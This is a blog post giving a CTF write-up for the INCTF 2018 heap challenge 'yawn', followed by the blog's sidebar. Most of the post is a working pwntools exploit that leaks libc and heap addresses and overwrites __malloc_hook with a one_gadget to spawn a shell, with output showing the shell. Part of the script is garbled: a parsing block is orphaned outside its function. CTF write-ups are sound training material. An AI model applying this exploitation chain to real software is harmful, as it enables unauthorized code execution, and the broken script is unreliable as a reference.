INCTF 2018 - yawn

2018. 11. 3. 21:05·CTF/2018

Category : pwnable



Summary : heap



Exploit


#!/usr/bin/python

from pwn import *

def cmd_add(name, desc):
ru('>> ')
sl('1')
ru('Enter name: ')
sl(name)
ru('Enter desc: ')
if desc:
sl(desc)

def cmd_edit(idx, name, size, desc):
ru('>> ')
sl('2')
ru('Enter index: ')
sl(str(idx))
ru('Enter name: ')
ss(name)
ru('Enter size: ')
sl(str(size))
ru('Enter desc: ')
ss(desc)

def cmd_remove(idx):
ru('>> ')
sl('3')
ru('Enter idx: ')
sl(str(idx))

def cmd_view(idx):
ru('>> ')
sl('4')
ru('Enter idx: ')
sl(str(idx))

note = {}
ru('Note ID : ')
note['idx'] = int(rl(False))
ru('Name : ')
note['name'] = rl(False)
ru('Size : ')
note['size'] = int(rl(False))
ru('Description : ')
note['desc'] = rl(False)
return note

s = process('./yawn')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

free_got = 0x601F68
note_table = 0x602040


# for libc leak
cmd_add('a' * 0x50+p64(0xffffffffffffffff)+p64(free_got), '')
libc_base = u64(cmd_view(0)['desc'].ljust(8, '\x00')) - 0x844f0
print hex(libc_base)
libc_malloc_hook = libc_base + 0x3c4b10
libc_one_gadget = libc_base + 0xf1147
'''
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

# for heap leak
cmd_add('b' * 0x50+p64(0xffffffffffffffff)+p64(note_table), '')
heap_base = u64(cmd_view(1)['desc'].ljust(8, '\x00')) - 0x1040
print hex(heap_base)

cmd_add('c' * 0x30, 'C' * 0x59) # 2 : 0x70 0x70
cmd_add('d' * 0x50 + p64(0xffffffffffffffff)+p64(heap_base + 0x1010+ (0x20+0x70)*2+0x10), '') # 3 : 0x20 0x70
# pointing note2 -> description

cmd_remove(2)
cmd_remove(3)

cmd_add('NO', '_' * 9)

cmd_add(p64(libc_malloc_hook - 0x23), '_' * 9)
cmd_add('NO', '_' * 9)
cmd_add('NO', '_' * 9)
# reallocate libc_malloc_hook
cmd_add('e' * (0x23-0x10) + p64(libc_one_gadget), '_' * 9)

# trigger
cmd_add('give me the shell', 'paul')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './yawn': pid 2050
0x7fb84bb3e000
0x178a000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



저작자표시 비영리 변경금지 (새창열림)

'CTF > 2018' 카테고리의 다른 글

SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
'CTF/2018' 카테고리의 다른 글
  • SECCON CTF 2018 QUAL - secret_message (one shot exploit)
  • INCTF 2018 - lost
  • SECCON 2018 QUAL - Simple memo
  • HITCON CTF 2018 - groot
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    후기
    power of community
    정보보호올림피아드
    vuln
    pwnables
    csaw ctf
    gnuboard
    HUST
    POC
    csaw
    web
    HUST2011
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
INCTF 2018 - yawn
상단으로

티스토리툴바